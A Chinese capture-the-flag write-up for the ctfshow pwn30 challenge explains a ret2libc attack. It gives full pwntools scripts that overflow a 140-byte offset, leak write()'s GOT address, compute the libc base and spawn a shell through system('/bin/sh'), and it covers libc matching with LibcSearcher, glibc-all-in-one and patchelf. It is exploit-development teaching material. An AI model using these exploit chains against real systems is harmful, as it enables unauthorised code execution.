ret2libc 分析(详细版)

本文例题来自 ctfshow pwn30

参考资料:

1. 基本分析

先查看程序信息:

程序基本信息

再放进 IDA 看主逻辑,确认漏洞函数是 ctfshow()

主逻辑分析
漏洞函数定位

没有明显的后门函数,再检查程序本身是否存在 /bin/sh 字符串。

在 IDA 中可用 Shift + F12 打开字符串窗口,再用 Ctrl + F 搜索 /bin/sh。本题中没有找到:

搜索 binsh 字符串

2. 利用思路

观察到程序导入了 write(),可以先构造一条 ROP 链,调用:

1
write(1, write_got, 4)

这一步的目的不是“直接泄露 libc 版本”,而是先泄露 write() 在运行时的真实地址。

之后分两种情况:

  1. 如果已经知道目标使用的 libc 文件,那么可以直接用符号偏移计算 libc 基址。
  2. 如果题目不给 libc,就需要结合 LibcSearcherglibc-all-in-one + patchelf,或者继续泄露更多符号地址来缩小范围。

基址计算公式如下:

1
libc_base = 泄露出来的函数真实地址 - 该函数在 libc 中的静态偏移

在本题里就是:

1
libc_base = leak_addr - libc.symbols['write']

有了基址之后,再计算:

  • system 的实际地址
  • "/bin/sh" 在 libc 中的实际地址

最后调用:

1
system("/bin/sh")

即可拿到 shell。

3. 本地直接利用:已知本地 libc

这一种方法只适合本地调试,或者已经明确知道目标环境使用的是哪一份 libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context(os='linux', arch='i386', log_level='debug')

p = process('./pwn')
elf = ELF('./pwn')

# 仅适用于本地:pwntools 会拿到当前程序实际加载的本地 libc
libc = elf.libc

main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

# buf(136) + saved ebp(4) = 140
offset = 140

# payload1: 泄露 write 的真实地址,然后返回 main 再次输入
payload1 = b'A' * offset
payload1 += p32(write_plt)
payload1 += p32(main_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)

p.send(payload1)

leak_addr = u32(p.recvn(4))
libc_base = leak_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# payload2: system("/bin/sh")
payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef)
payload2 += p32(bin_sh_addr)

p.send(payload2)
p.interactive()

这一种方法的关键点:

  • elf.libc 拿到的是本地环境对应的 libc
  • 这能保证本地调试稳定,但环境不一样时通常没法直接拿去打远端

4. 为什么本地和远端结果可能不一样

做 Pwn 时,如果需要本地调试,经常会遇到一种情况:本地跑得通,远端打不通;或者本地一运行就直接报错,例如:

1
2
3
$ ./pwn
*** stack smashing detected ***: terminated
Aborted

这类问题很多时候不是漏洞思路错了,而是程序实际运行时使用的 libcld、依赖环境和你假设的不一致

先用 ldd 查看当前程序在你本机默认会链接到哪一份库:

1
ldd ./pwn

示例输出:

1
2
3
linux-vdso.so.1 (0x00007ffdae7bb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f716013e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7160331000)

可以看到,程序默认用的是本机 /lib 目录下的 libc。但题目环境、比赛环境、远端靶机环境大概率和本地的不一样。

如果题目给了 libc.so.6,可以先确认它的版本:

1
strings ./libc.so.6 | grep GNU

示例输出:

1
2
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Compiled by GNU CC version 9.4.0.

这就说明题目依赖的是 2.31-0ubuntu9.9 这一套 glibc,而不是你系统默认的那一套。

所以这里要分清:

  • ldd ./pwn 看到的是本机默认加载的库
  • strings ./libc.so.6 看到的是题目给出的那份 libc 的版本信息
  • “本地能通”不代表“远端一定能通”,因为两边很可能根本不是同一套运行环境

5. 题目不给 libc:使用 glibc-all-in-one + patchelf

如果不想把 LibcSearcher 的匹配结果直接当最终答案,一个更稳的做法是:

  1. 先通过泄露地址拿到若干候选版本。
  2. glibc-all-in-one 把候选 libc 下载下来。
  3. patchelf 把本地程序改到对应的 ldlibc 环境里验证。

这里两个工具的分工要分清:

  • glibc-all-in-one 负责下载候选版本的 libcld 和配套依赖
  • patchelf 负责让你的本地二进制按指定版本的动态链接器和库去运行

这样做的好处是:本地调试时看到的地址、脚本里用的偏移、你假设的远端环境会尽量一致。

5.1 本地怎么准备候选 libc

先克隆并更新 glibc-all-in-one

1
2
3
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one
./update_list

然后查看可下载的版本列表:

1
cat list

如果列表里有目标版本,直接下载即可,例如:

1
2
./download 2.23-0ubuntu10_i386
./download 2.31-0ubuntu9_amd64

如果你需要的版本在新列表里没有,也可以再试一次旧列表:

1
./download_old 2.24-3ubuntu2.2_amd64

下载完成后,目录里通常会有:

  • libc-2.xx.so
  • ld-2.xx.so
  • 其他同版本运行时依赖库

5.2 列表里没有目标版本怎么办

有时题目给出的版本比较细,比如 2.31-0ubuntu9.9,而 glibc-all-in-one 的默认列表里没有这一项。这时可以去 Ubuntu 的 glibc 源包页面手动补:

做法大致如下:

  1. 找到目标版本对应的页面,例如 2.31-0ubuntu9.9
  2. 进入右侧对应架构的 build 页面,例如 amd64
  3. 下载对应的 .deb 文件
  4. 放进 glibc-all-in-onedebs/ 目录
  5. 用自带的 extract 脚本解压到 libs/

例如:

1
./extract debs/libc6-dbg_2.31-0ubuntu9.9_amd64.deb libs

解压后,libs/ 目录下就会多出一个对应版本的文件夹。

5.3 本地怎么 patch

接下来不要直接改原始题目文件,最好先复制一份本地副本再 patch:

1
2
3
cp ./pwn ./pwn_patched
patchelf --set-interpreter ./libs/2.23-0ubuntu10_i386/ld-2.23.so ./pwn_patched
patchelf --set-rpath ./libs/2.23-0ubuntu10_i386 ./pwn_patched

这两条命令分别表示:

  • --set-interpreter:把程序使用的动态链接器改成目标版本的 ld
  • --set-rpath:让程序优先去目标目录中查找对应版本的 libc

很多资料会写成 --add-needed,但在这种场景里,更常见也更稳妥的做法是 --set-interpreter + --set-rpath。如果确实需要显式替换依赖,也更推荐:

1
patchelf --replace-needed libc.so.6 ./libs/2.23-0ubuntu10_i386/libc-2.23.so ./pwn_patched

本地 patch 完之后,再次 ldd 一下确保成功:

1
ldd ./pwn_patched

5.4 本地如何验证 exp

本地阶段的目标不是直接打远端,而是先把候选环境复现出来,确认这份 libc 到底对不对。

脚本里直接加载这份候选 libc 来算偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(os='linux', arch='i386', log_level='debug')

p = process('./pwn_patched')
elf = ELF('./pwn_patched')
libc = ELF('./libs/2.23-0ubuntu10_i386/libc-2.23.so')

main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset = 140

payload1 = b'A' * offset
payload1 += p32(write_plt)
payload1 += p32(main_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)

p.send(payload1)

write_addr = u32(p.recvn(4))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef)
payload2 += p32(bin_sh_addr)

p.send(payload2)
p.interactive()

如果这份候选 libc 是对的,那么本地复现出来的利用流程应该能稳定打通;如果打不通,就继续换下一份候选版本。

5.5 远端怎么做

远端阶段和本地阶段最大的区别是:不能 patch 远端服务上的程序

patchelf 只用于本地复现环境;到了远端,真正能带过去的只有 exp 思路和确认过的那份 libc 偏移。

远端流程应该理解成这样:

  1. 在本地先用 glibc-all-in-one + patchelf 验证候选版本
  2. 确认哪一份 libc 能打通后,在 exp 里加载同一份 libc 文件
  3. 连上远端,重新泄露真实地址
  4. 用远端泄露值减去这份 libc 的符号偏移,重新计算 libc_basesystem/bin/sh
  5. 再发第二段 payload 打远端

也就是说,远端不是“把 patch 过的程序传上去”,而是“把本地验证通过的那份偏移关系拿去算远端地址”。

远端脚本一般会写成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(os='linux', arch='i386', log_level='debug')

p = remote('host', port)
elf = ELF('./pwn')
libc = ELF('./libs/2.23-0ubuntu10_i386/libc-2.23.so')

main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset = 140

payload1 = b'A' * offset
payload1 += p32(write_plt)
payload1 += p32(main_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)

p.send(payload1)

write_addr = u32(p.recvn(4))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef)
payload2 += p32(bin_sh_addr)

p.send(payload2)
p.interactive()

需要注意的点:

  • patchelf 是本地调试工具,不是远端利用工具
  • 最好 patch 二进制副本,不要直接改原始题目文件
  • 如果候选版本不对,那么本地可能就打不通;即使偶尔通了,远端也未必稳定
  • 如果有多个候选,可以逐个下载、逐个 patch、逐个本地验证

6. 另一种方法: LibcSearcher

如果题目不给 libc,常见做法是先泄露一个或多个函数地址,再用 LibcSearcher 去猜测对应版本。

前提是本地已经安装了 LibcSearcher ξ( ✿>◡❛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process('./pwn')
elf = ELF('./pwn')

main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset = 140

payload1 = (
b'A' * offset +
p32(write_plt) +
p32(main_addr) +
p32(1) +
p32(write_got) +
p32(4)
)

p.sendline(payload1)

write_addr = u32(p.recvn(4))
libc = LibcSearcher('write', write_addr)

# dump(symbol) 返回该符号在候选 libc 中的偏移
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

p.sendline(payload2)
p.interactive()

7. 无法唯一匹配 libc 时怎么办

实际运行时,经常会出现多个候选版本:

LibcSearcher 候选版本

这是因为只泄露了一个符号地址,约束条件太少,LibcSearcher 无法唯一确定版本。

方法 1:只在本地验证时,直接参考本地 libc

可以先用 ldd 查看本地程序链接到哪一个 libc

本地 ldd 结果

这种方法只适合本地调试验证。

原因很简单:

  • ldd 看到的是本机上的 libc
  • 远端服务使用的 libc 很可能不同
  • 所以“本地能通”不代表“远端一定能通”

如果只是为了把本地流程跑通,那么在多个候选里选中对应本地版本即可。

方法 2:继续泄露更多符号

更稳妥的做法是继续泄露多个函数地址,例如:

  • write
  • read
  • puts

把多个符号的真实地址一起交给识别工具,约束条件会更强,更容易唯一确定 libc

方法 3:配合 glibc-all-in-one + patchelf 验证候选版本

如果你已经拿到多个候选版本,但又不想完全依赖 LibcSearcher 的自动匹配,那么可以:

  1. glibc-all-in-one 把候选版本全部下载下来
  2. patchelf 给本地副本逐个切换对应的 ldlibc 环境
  3. 在本地重复利用流程,看哪一个版本能稳定打通

这种方法本质上是“候选集验证”,优点是直观,缺点是比直接自动匹配更费时间。

8. 总结

如果是本地练习,elf.libc 最省事。
如果是远端实战,单个符号往往不够,通常需要多符号泄露,或者结合 LibcSearcherglibc-all-in-one + patchelf 去缩小并验证候选 libc

宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
  1. 合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
  2. 道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
  3. 风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
  4. 合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
  5. 最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
  6. 数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
  7. 免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
  • 先授权,再测试
  • 只针对自己拥有或有权测试的系统
  • 发现漏洞后,及时报告并协助修复
  • 尊重隐私,不越界
警告:技术无善恶,人心有黑白。请明智选择你的道路。
声明参考链接:https://blog.csdn.net/2402_84408069/article/details/157263936